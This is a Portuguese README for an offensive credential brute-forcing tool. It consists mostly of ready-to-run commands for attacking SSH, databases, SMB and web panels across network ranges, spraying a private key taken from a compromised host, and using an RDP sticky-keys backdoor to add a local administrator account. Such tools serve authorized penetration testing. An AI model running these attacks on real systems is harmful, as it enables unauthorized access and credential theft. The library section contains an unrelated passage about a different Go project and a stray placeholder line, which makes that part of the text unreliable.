
brutus v1.10.0
Ferramenta de teste de credenciais rápida e sem dependências em Go. Realiza força bruta em SSH, MySQL, PostgreSQL, Redis, MongoDB, SMB e mais de 20 protocolos. Alternativa ao Hydra com integração nativa ao pipeline nerva/naabu.
Brutus
"Et tu, Brute?" — As últimas palavras antes das credenciais caírem.
Ferramenta moderna de teste de credenciais em Go puro
Instalação • Início Rápido • Pipeline • Protocolos • Enumeração • Proxy • Biblioteca
Visão Geral
O Brutus é uma ferramenta de teste de autenticação multiprotocolo projetada para preencher uma lacuna crítica nas ferramentas de segurança ofensiva: validação eficiente de credenciais em diversos serviços de rede. Embora ferramentas focadas em HTTP sejam abundantes, testadores de penetração e operadores de red team frequentemente encontram bancos de dados, SSH, SMB e outros serviços de rede que exigem capacidades de teste de autenticação projetadas especificamente.
Construído em Go como um único binário com zero dependências externas, o Brutus se integra perfeitamente com Nerva para descoberta automatizada de serviços, permitindo que operadores identifiquem e testem rapidamente vetores de autenticação em intervalos de rede inteiros.
Principais características:
- Zero dependências: Binário único, multiplataforma (Linux, Windows, macOS)
- 27 protocolos: SSH, RDP, MySQL, PostgreSQL, MSSQL, Oracle, Redis, SMB, LDAP, WinRM, SNMP, HTTP Basic Auth e mais
- Suporte a proxy SOCKS5: Roteie todo o tráfego através de um proxy SOCKS5 com
--proxy - Modos de agressividade:
--mode cautious|default|aggressivepara ajustar cobertura vs. segurança - Integração com pipeline: Suporte nativo para fluxos de trabalho do Nerva, naabu, nmap e masscan
- Chaves ruins embutidas: Coleção interna de chaves SSH conhecidas (Vagrant, F5, ExaGrid, etc.)
- Enumeração de contas: enumeração de oráculo de existência de conta, enumeração de usuários Kerberos, geração de e-mail, autenticação de código de dispositivo Microsoft Teams/Entra ID
- Biblioteca Go: Importe diretamente em suas ferramentas de automação de segurança
- Pronto para produção: Limitação de taxa, pool de conexões e tratamento abrangente de erros
Por que Brutus?
Ferramentas tradicionais como THC Hydra têm servido bem à comunidade de segurança, mas vêm com um atrito significativo: cadeias de dependências complexas, problemas de compilação específicos de plataforma e nenhuma integração nativa com fluxos de trabalho modernos de reconhecimento.
Brutus é construído especificamente para segurança ofensiva moderna:
- Implantação verdadeiramente sem dependências: Baixe um único binário e execute. Sem
libssh-dev, semlibmysqlclient-dev, sem erros de compilação. Funciona de forma idêntica em Linux, macOS e Windows. - Integração nativa com pipeline: Brutus fala JSON e se integra diretamente com Nerva, naabu, nmap e masscan. Envie serviços descobertos diretamente para teste de credenciais sem conversão de formato ou script.
- Inteligência embutida: Chaves SSH ruins conhecidas (Vagrant, F5 BIG-IP, ExaGrid, etc.) são compiladas no binário. Use
brutus badkeyspara testá-las contra alvos SSH. - Design orientado a bibliotecas: Importe o Brutus diretamente em suas ferramentas de segurança Go. Construa automação personalizada sem chamar processos externos.```bash
Full network credential audit in one pipeline (JSON mode)
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva --json | brutus creds --json
Or use Nerva's default URI output — no --json flags needed
naabu -host 10.0.0.0/24 -p 22,3306,5432,6379 -silent | nerva | brutus creds
---
## Casos de Uso
### Teste de Penetração
- Validar credenciais descobertas em múltiplos serviços durante avaliações internas
- Testar padrões de reutilização de senhas entre serviços de banco de dados e compartilhamento de arquivos
- Identificar credenciais padrão em infraestrutura recém-implantada
### Operações de Red Team
- Validação rápida de credenciais após vazamentos de senhas ou campanhas de phishing
- Testar oportunidades de movimento lateral em serviços de rede
- Validar credenciais comprometidas em ambientes heterogêneos
### Spraying de Chaves Privadas
Encontrou uma chave privada em um sistema comprometido? Espalhe-a pela rede para descobrir onde mais ela concede acesso:```bash
# Discover SSH services and spray a found private key
naabu -host 10.0.0.0/24 -p 22 -silent | \
nerva --json | \
brutus creds -u root,admin,ubuntu,deploy -k /path/to/found_key --json
Este pipeline descobre todos os serviços SSH, identifica-os com o Nerva e testa a chave comprometida contra nomes de usuário comuns—revelando oportunidades de movimento lateral em segundos.
Teste de Painel de Administração Web
Descubra serviços HTTP e teste credenciais usando detecção com IA ou listas de credenciais manuais:```bash
AI-powered: auto-detect devices and suggest default credentials
naabu -host 10.0.0.0/24 -p 80,443,3000,8080,9090 -silent |
nerva --json |
brutus web --experimental-ai --json
Manual: test specific credentials against web panels
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web -c "admin:admin,root:password" --json
Default wordlist: test common credentials without AI or -c
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --json
### Validação de Segurança
- Testar credenciais padrão em serviços recém-implantados
- Validar a aplicação da política de senhas em todas as plataformas
- Gerar trilhas de auditoria para conformidade e avaliações de segurança
---
## Instalação
### Binários Pré-construídos (Recomendado)
Baixar dos [Lançamentos do GitHub](https://github.com/praetorian-inc/brutus/releases):```bash
# Linux (amd64)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-linux-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Apple Silicon)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-arm64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
# macOS (Intel)
curl -L https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-darwin-amd64.tar.gz | tar xz
sudo mv brutus /usr/local/bin/
.(No input provided)```powershell
Windows (PowerShell)
Invoke-WebRequest -Uri https://github.com/praetorian-inc/brutus/releases/latest/download/brutus-windows-amd64.zip -OutFile brutus.zip Expand-Archive -Path brutus.zip -DestinationPath . Remove-Item brutus.zip
### Instalação do Go```bash
go install github.com/praetorian-inc/brutus/cmd/brutus@latest
Início Rápido
Subcomandos
O Brutus organiza sua funcionalidade em seis subcomandos focados:```bash brutus creds # Non-HTTP credential auditing (SSH, databases, SMB, etc.) brutus web # HTTP/web panel auditing (Basic Auth, form login, AI-powered) brutus snmp # SNMP community string testing brutus badkeys # Known weak/compromised SSH key testing brutus logon # Windows logon-screen backdoor detection (sticky keys, utilman) brutus enum # Account enumeration (account-existence oracles, Kerberos, Teams auth, email generation)
Cada subcomando possui aliases para descoberta:
| Subcomando | Aliases |
|------------|---------|
| `creds` | `services`, `defaults`, `credentials` |
| `web` | `http`, `panels` |
| `snmp` | `community` |
| `badkeys` | `keys`, `ssh-keys`, `badkey` |
| `logon` | `stickykeys`, `sticky-keys`, `utilman`, `sethc`, `winlogon`, `accessibility` |
| `enum` | *(nenhum)* |```bash
# Test SSH credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
# Test HTTP web panel with AI credential detection
brutus web --target 192.168.1.1:80 --experimental-ai
# Test HTTP web panel with manual credentials
brutus web --target 192.168.1.1:80 -c "admin:admin,root:toor"
# Test SNMP community strings
brutus snmp --target 192.168.1.1:161 --mode aggressive
# Detect Windows logon-screen backdoors
brutus logon --target 10.0.0.50:3389
# Pipeline mode: creds skips HTTP/SNMP, web skips non-HTTP, snmp skips non-SNMP
naabu -host 10.0.0.0/24 -silent | nerva --json | brutus creds -P passwords.txt
naabu -host 10.0.0.0/24 -p 80,443,8080 -silent | nerva --json | brutus web --experimental-ai
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
Uso Básico```bash
Test SSH with default credentials
brutus creds --target 192.168.1.100:22 --protocol ssh
Test with specific credentials
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor
Test with username and password lists
brutus creds --target 192.168.1.100:22 --protocol ssh -U users.txt -P passwords.txt
Test MySQL database
brutus creds --target 192.168.1.100:3306 --protocol mysql -u root -p password
Test SSH with a specific private key
brutus creds --target 192.168.1.100:22 --protocol ssh -u deploy -k /path/to/id_rsa
Increase threads for faster testing
brutus creds --target 192.168.1.100:22 --protocol ssh -t 20
JSON output for scripting
brutus creds --target 192.168.1.100:22 --protocol ssh --json
### Exemplo de Saída```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root,admin -p toor,password,admin
[+] VALID: ssh root:toor @ 192.168.1.100:22 (1.23s)
Com o modo verbose (-v):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p password,toor -v
[-] FAILED: ssh root:password @ 192.168.1.100:22 (0.45s)
[+] VALID: ssh root:toor @ 192.168.1.100:22 (0.52s)
Saída JSON para integração de pipeline (exibe apenas credenciais bem-sucedidas):```
$ brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p toor --json
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
Integração com Pipeline
O Brutus integra-se perfeitamente com Nerva e naabu para reconhecimento completo de rede.
Cenários do Mundo Real
Cenário 1: Varredura de uma Rede Corporativa /24```bash
Discover all open ports, identify services, test default credentials
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva --json |
brutus creds --json -o results.json
Same pipeline using Nerva's default URI output (no --json needed)
naabu -host 10.10.10.0/24 -p 22,23,21,3306,5432,6379,27017,445 -silent |
nerva | brutus creds -o results.json
Review findings (all output is successful credentials)
cat results.json | jq '.'
#### Cenário 2: Bug Bounty Recon em um Domínio Alvo```bash
# Full pipeline against a single target
naabu -host target.example.com -top-ports 1000 -silent | \
nerva --json | \
brutus creds
# Or scan a list of subdomains
cat subdomains.txt | naabu -silent | nerva --json | brutus creds
Cenário 3: Caça a Bancos de Dados em uma Avaliação Interna```bash
Find and test all databases in a range
naabu -host 192.168.0.0/16 -p 3306,5432,1433,27017,6379,9042 -silent |
nerva --json |
brutus creds -t 5 --json |
tee database-findings.json
Extract credentials in readable format
jq -r '"(.target) (.username):(.password)"' database-findings.json
#### Cenário 4: Teste de Chave SSH em Toda a Infraestrutura```bash
# Test embedded bad keys (Vagrant, F5 BIG-IP, ExaGrid, etc.) across a range
naabu -host 10.0.0.0/8 -p 22 -rate 1000 -silent | \
nerva --json | \
brutus badkeys --json -o ssh-key-findings.json
# Find systems using compromised SSH keys (key field is true)
cat ssh-key-findings.json | jq 'select(.key == true)'
Cenário 5: Teste de Serviço Direcionado```bash
Test only Redis instances found in the network
naabu -host 172.16.0.0/12 -p 6379 -silent |
nerva --json |
brutus creds
Test only MongoDB with custom credentials
naabu -host 10.0.0.0/24 -p 27017 -silent |
nerva --json |
brutus creds -u admin,root,mongodb -p admin,password,mongodb
### Importação de Ferramentas de Varredura (Nmap & Masscan)
Brutus pode importar alvos diretamente de arquivos de saída de varredura do **nmap** e **masscan**, eliminando a necessidade de conversão de formato ou ferramentas intermediárias.
#### Importação de XML do Nmap (`--nmap-file`)
Importa alvos da saída XML do nmap (`-oX`). O nmap fornece impressão digital de serviços, então o Brutus mapeia automaticamente os serviços detectados para o protocolo correto:```bash
# Run an nmap service scan
nmap -sV -oX scan.xml 10.0.0.0/24 -p 22,3306,5432,6379,445,3389
# Feed nmap results directly to Brutus
brutus creds --nmap-file scan.xml -P passwords.txt
# Test web services from nmap scan
brutus web --nmap-file scan.xml -c "admin:admin,root:password"
# Test SNMP from nmap scan
brutus snmp --nmap-file scan.xml --mode aggressive
# JSON output for scripting
brutus creds --nmap-file scan.xml --json -o results.json
Nomes de serviços do Nmap são mapeados automaticamente para protocolos Brutus (ex.: ms-wbt-server → rdp, microsoft-ds → smb). TLS é detectado a partir do atributo tunnel="ssl" do nmap. Apenas portas abertas em hosts ativos são importadas.
Masscan JSON Import (--masscan-file)
Importar alvos da saída JSON do masscan (-oJ). Já que o masscan é apenas um scanner de portas (sem impressão digital de serviços), você deve especificar --protocol ou deixar o Brutus realizar a impressão digital automática com o Nerva:```bash
Run a masscan port scan
masscan 10.0.0.0/24 -p 22,3306,5432,6379 -oJ scan.json --rate 10000
Test all discovered ports as SSH (when you know what's running)
brutus creds --masscan-file scan.json --protocol ssh -u root -P passwords.txt
Auto-fingerprint with Nerva (when services are unknown)
brutus creds --masscan-file scan.json -P passwords.txt
#### Combinando com Outros Fluxos de Trabalho
As flags `--nmap-file` e `--masscan-file` funcionam com todos os subcomandos e são mutuamente exclusivas com `--target`, `--targets-file` e stdin:```bash
# Scan for RDP backdoors from nmap results
brutus logon --nmap-file scan.xml
# Test SSH bad keys from nmap results
brutus badkeys --nmap-file scan.xml
# Override protocol for all masscan targets
brutus creds --masscan-file scan.json --protocol redis -p "redis,password"
Formato de Entrada do Pipeline
Brutus aceita múltiplos formatos de entrada do stdin:
Nerva JSON (nerva --json):```bash
{"ip":"192.168.1.100","port":22,"protocol":"ssh","tls":false,"transport":"tcp","version":"OpenSSH_8.9p1"}
{"ip":"192.168.1.101","port":3306,"protocol":"mysql","tls":false,"transport":"tcp","version":"8.0.32"}
**Nerva URI** (saída padrão do Nerva, sem necessidade de `--json`):```bash
# Nerva outputs URI-scheme lines by default
$ echo "github.com:22" | nerva
ssh://github.com:22 (20.205.243.166)
# Pipe directly to Brutus — protocol is extracted from the URI scheme
echo "10.0.0.1:22" | nerva | brutus creds
echo "10.0.0.0/24:3306" | naabu -silent | nerva | brutus creds
Alvos nus (auto-identificados com Nerva):```bash echo "192.168.1.100:22" | brutus creds
Brutus automaticamente:
- Analisa JSON, esquema URI e formatos de alvo simples
- Mapeia serviços para protocolos
- Testa credenciais padrão apropriadas
- Produz resultados no formato JSON correspondente
### Formato de Saída do Pipeline
Brutus produz apenas credenciais bem-sucedidas no formato JSONL (um objeto JSON por linha):```bash
# Brutus JSON output (with --json flag) - only successful authentications
{"protocol":"ssh","target":"192.168.1.100:22","username":"root","password":"toor","duration":"1.234567ms","banner":"SSH-2.0-OpenSSH_8.9p1"}
{"protocol":"mysql","target":"192.168.1.101:3306","username":"root","password":"","duration":"890.123µs"}
{"protocol":"ssh","target":"192.168.1.103:22","username":"vagrant","key":true,"duration":"2.345678ms","banner":"SSH-2.0-OpenSSH_9.6"}
Nota: As tentativas de autenticação malsucedidas não são incluídas na saída JSON. O campo key aparece (como true) quando a autenticação usou uma chave SSH em vez de senha. O campo llm_suggested aparece (como true) quando as credenciais foram sugeridas pelo sistema de IA (--experimental-ai).
Comparação
| Funcionalidade | Hydra | Medusa | Ncrack | Brutus |
|---|---|---|---|---|
| Binário Único | ❌ | ❌ | ❌ | ✅ |
| Zero Dependências | ❌ | ❌ | ❌ | ✅ |
| Proxy SOCKS5 | ✅ | ❌ | ❌ | ✅ |
| Pipeline Nerva | ❌ | ❌ | ❌ | ✅ |
| Importação Nmap/Masscan | ❌ | ❌ | ❌ | ✅ |
| Streaming JSON | ⚠️ | ❌ | ❌ | ✅ |
| Multiplataforma | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Erros Consistentes | ⚠️ | ⚠️ | ⚠️ | ✅ |
| Desenvolvimento Ativo | ✅ | ⚠️ | ❌ | ✅ |
| Chaves Ruins Incorporadas | ❌ | ❌ | ❌ | ✅ |
| Importação de Biblioteca Go | ❌ | ❌ | ❌ | ✅ |
Protocolos Suportados
O Brutus suporta 27 protocolos:
Serviços de Rede
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| SSH | 22 | Senha, Chaves Privadas | Servidores, equipamentos de rede |
| FTP | 21 | Senha | Servidores de arquivos, dispositivos NAS |
| Telnet | 23 | Senha | Sistemas legados, dispositivos IoT |
| VNC | 5900 | Senha | Áreas de trabalho remotas |
| RDP | 3389 | NLA/CredSSP, Senha | Servidores Windows, estações de trabalho |
| SNMP | 161 | String de Comunidade | Dispositivos de rede, impressoras |
Serviços Web
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| HTTP | 80 | Autenticação Básica | Painéis de administração (Grafana, Jenkins, etc.) |
| HTTPS | 443 | Autenticação Básica | Painéis de administração seguros |
Infraestrutura Empresarial
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| SMB | 445 | Senha, NTLM | Redes Windows, compartilhamentos de arquivos |
| LDAP | 389/636 | Bind DN | Active Directory, identidade |
| WinRM | 5985/5986 | NTLM | Gerenciamento remoto Windows |
Bancos de Dados
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| MySQL | 3306 | Senha | Aplicações web |
| PostgreSQL | 5432 | Senha | Aplicações modernas |
| MSSQL | 1433 | Senha | Aplicações empresariais |
| MongoDB | 27017 | Senha | Backends NoSQL |
| Redis | 6379 | Senha | Cache, sessões |
| Neo4j | 7687 | Senha | Bancos de dados de grafos |
| Cassandra | 9042 | Senha | Bancos de dados distribuídos |
| CouchDB | 5984 | HTTP Básico | Armazenamento de documentos |
| Elasticsearch | 9200 | HTTP Básico | Mecanismos de busca |
| InfluxDB | 8086 | HTTP Básico | Dados de série temporal |
| Oracle | 1521 | Senha | Bancos de dados empresariais |
Contêineres e Orquestração
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| Docker | 2375/2376 | Não autenticado | Daemons Docker expostos |
| Kubernetes | 6443/10250 | Não autenticado | API/kubelet K8s expostos |
Comunicações
| Protocolo | Porta | Métodos de Autenticação | Caso de Uso |
|---|---|---|---|
| SMTP | 25/587 | Senha | Relay de e-mail |
| IMAP | 143/993 | Senha | Acesso à caixa de correio |
| POP3 | 110/995 | Senha | Acesso à caixa de correio |
Chaves SSH Ruins Incorporadas
Implantação em binário único sem necessidade de arquivos de chave externos. Cada chave é emparelhada com seu nome de usuário padrão para mapeamento inteligente de credenciais, e o rastreamento CVE permite consultas de conformidade.
O Brutus carrega as coleções de chaves rapid7/ssh-badkeys e Vagrant incorporadas no binário:```bash
Test bad keys against a single target
brutus badkeys --target 192.168.1.100:22
Pipeline mode: scan a range for compromised SSH keys
naabu -host 10.0.0.0/24 -p 22 -silent | nerva --json | brutus badkeys
Test credentials (bad keys are NOT included in creds mode)
brutus creds --target 192.168.1.100:22 --protocol ssh -u root -p "password"
### Coleção de Chaves Incorporadas
| Product | CVE | Default User | Description |
|---------|-----|--------------|-------------|
| Vagrant | - | vagrant, root | Chave insegura do HashiCorp Vagrant |
| F5 BIG-IP | CVE-2012-1493 | root | Chave de host SSH estática |
| ExaGrid | CVE-2016-1561 | root | Backdoor do appliance de backup |
| Monroe DASDEC | CVE-2013-0137 | root | Sistemas de alerta de emergência |
| Barracuda | CVE-2014-8428 | cluster | VM do balanceador de carga |
| Ceragon FibeAir | CVE-2015-0936 | mateidu | Backhaul sem fio |
| Array Networks | - | sync | Appliances vAPV/vxAG |
| Quantum DXi | - | root | Appliances de desduplicação |
| Loadbalancer.org | - | root | Balanceadores de carga empresariais |
---
## Modos de Agressividade
A flag global `--mode` (`-m`) controla a agressividade em todos os subcomandos. Ela define predefinições de ajuste de desempenho que equilibram cobertura contra segurança:
| Mode | Threads | Timeout | Rate Limit | Jitter | Retries | Use Case |
|------|---------|---------|------------|--------|---------|----------|
| `cautious` | 5 | 15s | 2 req/s | 500ms | 1 | Ambientes de produção, evitar bloqueios |
| `default` | 10 | 10s | Unlimited | None | 2 | Testes padrão |
| `aggressive` | 20 | 10s | Unlimited | None | 3 | Ambientes de laboratório/CTF, cobertura máxima |
As predefinições de modo são aplicadas primeiro, depois quaisquer flags CLI explícitas as substituem:```bash
# Safe mode for production Active Directory (low concurrency, rate-limited)
brutus creds --target dc.corp.local:445 --protocol smb -m cautious -U users.txt -P passwords.txt
# Maximum coverage for a CTF
brutus creds --target 10.10.10.100:22 --protocol ssh -m aggressive -U users.txt -P rockyou.txt
# Cautious mode but override threads
brutus creds --target 192.168.1.100:22 --protocol ssh -m cautious --threads 20
Para SNMP, o modo também controla a profundidade da wordlist embutida (veja Teste de String de Comunidade SNMP).
Suporte a Proxy SOCKS5
A flag --proxy roteia todas as conexões através de um proxy SOCKS5. Isso funciona em todos os protocolos e subcomandos:```bash
Route SSH testing through a SOCKS5 proxy
brutus creds --target 10.0.0.100:22 --protocol ssh --proxy socks5://127.0.0.1:1080
Proxy with authentication
brutus creds --target 10.0.0.100:3306 --protocol mysql --proxy socks5://user:[email protected]:1080
DNS resolution on the proxy side (socks5h)
brutus creds --target internal.corp:22 --protocol ssh --proxy socks5h://127.0.0.1:1080
Combine with pipeline input
naabu -host 10.0.0.0/24 -p 22,3306 -silent | nerva --json | brutus creds --proxy socks5://127.0.0.1:1080
Works with all subcommands
brutus web --target 192.168.1.1:8080 --proxy socks5://127.0.0.1:1080 brutus snmp --target 192.168.1.1:161 --proxy socks5://127.0.0.1:1080
Supported schemes:
- `socks5://` — Proxy SOCKS5 padrão (resolução DNS no cliente)
- `socks5h://` — SOCKS5 com resolução DNS remota (útil para segmentar hostnames internos)
---
## Teste de String de Comunidade SNMP
O subcomando `snmp` fornece teste dedicado de string de comunidade SNMP v1/v2c com listas de palavras em camadas controladas pela flag global `--mode`:
| Modo | Strings | Cobertura |
|------|---------|-----------|
| `cauteloso` | ~25 | Strings comuns (public, private, community, etc.) |
| `padrão` | ~25 | Mesmo que cauteloso |
| `agressivo` | 200+ | Abrangente (específico do fornecedor, SCADA, câmeras IP, armazenamento, etc.) |```bash
# Test with default community strings (~25)
brutus snmp --target 192.168.1.1:161
# Aggressive mode for comprehensive testing (200+)
brutus snmp --target 10.0.0.1:161 --mode aggressive
# Custom community strings
brutus snmp --target 192.168.1.1:161 -c "mycommunity,secretstring"
# Custom community string file
brutus snmp --target 192.168.1.1:161 -C community-strings.txt
# Pipeline mode
naabu -host 10.0.0.0/24 -p 161 -silent | nerva --json | brutus snmp --mode aggressive
Integração como Biblioteca
Para desenvolvedores que criam ferramentas de automação de segurança, Brutus também pode ser importado como uma biblioteca Go:```bash go get github.com/praetorian-inc/brutus
Para instalar uma versão do banco de dados, você pode usar `go get -u go-web/go-api`, mas isso irá baixar várias dependências. Em seguida, você pode executar o servidor com `go-web [global options]`.
### 📄 Painel de Administração e Consultas
Para compilar o painel, copie `example.env` para `.env` e altere as variáveis de ambiente para as suas.
Em seguida, você pode compilar o binário do painel:```go
package main
import (
"fmt"
"time"
"github.com/praetorian-inc/brutus/pkg/brutus"
_ "github.com/praetorian-inc/brutus/pkg/builtins" // registers all protocols and analyzers
)
func main() {
config := &brutus.Config{
Target: "192.168.1.100:22",
Protocol: "ssh",
Usernames: []string{"root", "admin"},
Passwords: []string{"password", "admin", "toor"},
Timeout: 5 * time.Second,
Threads: 10,
}
results, err := brutus.Brute(config)
if err != nil {
panic(err)
}
for _, r := range results {
if r.Success {
fmt.Printf("[+] Valid: %s:%s\n", r.Username, r.Password)
}
}
}
Experimental: Detecção de Credenciais com IA
⚠️ Funcionalidade Experimental: Recursos de IA exigem chaves de API externas e estão em desenvolvimento ativo.
A Flag --experimental-ai
A flag --experimental-ai ativa a detecção automática de credenciais para serviços HTTP:```bash
Set up API keys
export ANTHROPIC_API_KEY="your-anthropic-key" # Required: Claude Vision for device identification export PERPLEXITY_API_KEY="your-perplexity-key" # Optional: additional web search
AI-powered credential testing against HTTP services
naabu -host 192.168.1.0/24 -p 80,443,8080 -silent |
nerva --json |
brutus web --experimental-ai
**Como funciona:**
1. **Detecção** — Brutus testa alvos HTTP para detectar o tipo de autenticação (Basic Auth vs formulário)
2. **Identificação do Dispositivo** — Claude Vision analisa capturas de tela para identificar o dispositivo/aplicação
3. **Sugestões de Credenciais** — Claude sugere credenciais padrão com base em seus dados de treinamento
4. **Pesquisa Web Opcional** — Perplexity (se configurado) busca credenciais adicionais online
5. **Teste** — Testa as credenciais descobertas contra o alvo
**Para alvos com HTTP Basic Auth:**
- Sonda `/` para capturar cabeçalhos HTTP
- Identifica o dispositivo a partir do cabeçalho Server, realm do WWW-Authenticate, etc.
- Claude sugere possíveis credenciais padrão
- Testa pares de credenciais automaticamente
**Para alvos com autenticação baseada em formulário HTTP:**
- Usa Chrome headless para renderizar e capturar a tela da página
- Claude Vision identifica o formulário de login, tipo de dispositivo e sugere credenciais
- Perplexity (opcional) busca credenciais padrão adicionais
- Automação do navegador preenche e envia o formulário
**Requisitos:**
- `ANTHROPIC_API_KEY` — **Obrigatório** para Claude Vision (identificação do dispositivo + sugestões de credenciais)
- `PERPLEXITY_API_KEY` — *Opcional* para pesquisa adicional na web
- Chrome/Chromium instalado (apenas para autenticação baseada em formulário)
**Protocolos não HTTP (SSH, MySQL, etc.) não são afetados por `--experimental-ai`** — eles continuam usando o teste padrão de credenciais.
---
## RDP: Detecção e Exploração de Backdoor de Teclas de Aderência
Brutus inclui detecção automática do **backdoor de teclas de aderência** (MITRE ATT&CK [T1546.008](https://attack.mitre.org/techniques/T1546/008/)) em alvos RDP. Esta verificação pré-autenticação é executada em alvos RDP sem NLA — não requer credenciais.
**Como funciona:**
1. Conecta-se ao alvo RDP e negocia uma sessão sem NLA
2. Captura o bitmap da tela de login como referência
3. Envia 5x Shift (o gatilho das teclas de aderência)
4. Captura o bitmap de resposta
5. Análise heurística detecta se uma janela de terminal apareceu (cmd.exe, PowerShell, etc.)
6. Opcionalmente confirma via API Claude Vision (quando `ANTHROPIC_API_KEY` está configurada)```bash
# Detection only — no brute force
brutus logon --target 10.0.0.50:3389
# Detection + Vision API confirmation
brutus logon --target 10.0.0.50:3389 --experimental-ai
Modo apenas de detecção: O subcomando logon executa a detecção de backdoor de teclas de aderência e utilman sem força bruta:```bash
Detection only (no brute force)
brutus logon --target 10.0.0.50:3389
**Saída de detecção:**```
[CRITICAL] Sticky keys backdoor CONFIRMED (confidence: 85%)
sethc.exe has been replaced with cmd.exe or similar.
SYSTEM-level unauthenticated access available via 5x Shift.
Execução de Comando via Backdoor (--exec)
Uma vez detectado um backdoor, execute um comando no sistema remoto através do prompt de comando pré-autenticação:```bash
Execute a single command via the backdoor
brutus logon --target 10.0.0.50:3389 --exec "whoami"
Add a local admin account
brutus logon --target 10.0.0.50:3389
--exec "net user attacker P@ssw0rd /add && net localgroup administrators attacker /add"
Isso conecta, aciona o backdoor, digita o comando, pressiona Enter, aguarda a saída e salva uma captura de tela PNG do resultado.
### Terminal Web Interativo (`--web`)
Inicie um visualizador RDP baseado em navegador para interação ao vivo com o prompt de comando do backdoor:```bash
# Start interactive web terminal
brutus logon --target 10.0.0.50:3389 --web
Isso inicia um servidor HTTP local com:
- Streaming ao vivo da tela a ~10 FPS (JPEG via WebSocket)
- Redirecionamento completo do teclado (scancodes PS/2 mapeados do evento KeyboardEvent do navegador)
- Suporte a mouse (clique, movimentação, clique direito)
- Status da conexão com sobreposição de desconexão e botão de reconexão
Abra a URL exibida (por exemplo, http://127.0.0.1:<port>) em qualquer navegador para interagir com a sessão RDP remota. Se a sessão desconectar devido ao tempo limite de inatividade do servidor, clique em Reconectar para estabelecer uma nova sessão.
Nota: Sessões RDP sem NLA (Non-NLA) possuem um tempo limite de inatividade do lado do servidor (o padrão do Windows varia conforme a configuração, normalmente controlado pela Política de Grupo em
Computer Configuration > Administrative Templates > Remote Desktop Services > Session Time Limits). Para estender o tempo limite em um alvo de teste, definaMaxIdleTimecomo0no registro:HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\MaxIdleTime = 0 (DWORD)
Considerações sobre B-TP (Benign True Positive): A substituição de backdoor pode também indicar procedimentos de recuperação de senha esquecida ou artefatos de testes de penetração autorizados.
Pipeline de Varredura em Massa de RDP
Para avaliações em larga escala, o subcomando logon executa a detecção de backdoor em múltiplos alvos. Ele aceita entrada de pipeline, arquivos de alvos ou importações do nmap/masscan — apenas serviços RDP são testados:```bash
Scan a /24 for sticky keys and utilman backdoors
naabu -host 10.0.0.0/24 -p 3389 -silent |
nerva --json |
brutus logon --json -o rdp-findings.json
Scan from nmap results
brutus logon --nmap-file scan.xml --json -o rdp-findings.json
Scan from targets file
brutus logon --targets-file rdp-targets.txt --json
Extract critical findings
jq 'select(.finding == "[CRITICAL]")' rdp-findings.json
**Implementação técnica:** O suporte ao protocolo RDP usa [IronRDP](https://github.com/Devolutions/IronRDP) (Rust) compilado para WebAssembly e executado via [wazero](https://github.com/tetratelabs/wazero), mantendo o design zero-CGO e binário único do Brutus.
---
## Enumeração de Contas
O subcomando `enum` enumera quais oráculos de existência de conta funcionam para uma organização (e enumera e-mails contra eles) ou enumera usuários do Active Directory, tudo sem enviar senhas.
### Enumeração de Oráculo de Existência de Conta
Identifique quais oráculos de existência de conta não autenticados (microsoft365, google, github, mais o oráculo do Microsoft Teams) funcionam para uma organização, valide-os contra um usuário conhecido-válido e, em seguida, enumere e-mails candidatos contra os oráculos funcionais. O reconhecimento DNS TXT revela os oráculos candidatos; a validação contra `--known-valid` é o destaque. `--known-valid` é obrigatório, e a enumeração é executada apenas contra os oráculos que o confirmam:```bash
# Discover candidate oracles via DNS and report which ones work
brutus enum active oracles --domain example.com --known-valid [email protected]
# Enumerate specific emails against the working oracles
brutus enum active oracles --domain example.com -e [email protected],[email protected] --known-valid [email protected]
# Enumerate emails from file
brutus enum active oracles --domain example.com -E emails.txt --known-valid [email protected]
# Generate emails from embedded name lists and enumerate against working oracles
brutus enum active oracles --domain example.com --generate --format flast --known-valid [email protected]
# Discover working oracles with a known-valid email before large-scale enumeration
brutus enum active oracles discover --domain example.com --known-valid [email protected]
Enumeração de Usuários Kerberos
Enumere nomes de usuários do Active Directory via Kerberos AS-REQ (nenhuma senha enviada, sem risco de bloqueio):```bash
Enumerate specific users
brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -u administrator,guest,krbtgt
Enumerate from file
brutus enum active kerberos --dc dc01.corp.local --domain CORP.LOCAL -U users.txt
Generate usernames and pipe to Kerberos enum
brutus enum generate --format flast | brutus enum active kerberos --dc 10.0.0.1 --domain CORP.LOCAL -U -
### Geração de E-mail/Nome de Usuário
Gere endereços de e-mail ou nomes de usuário a partir de listas de palavras de nomes próprios/sobrenomes incorporadas:```bash
# Generate emails: [email protected]
brutus enum generate --domain example.com --format flast
# Generate usernames only (no domain): jsmith
brutus enum generate --format flast
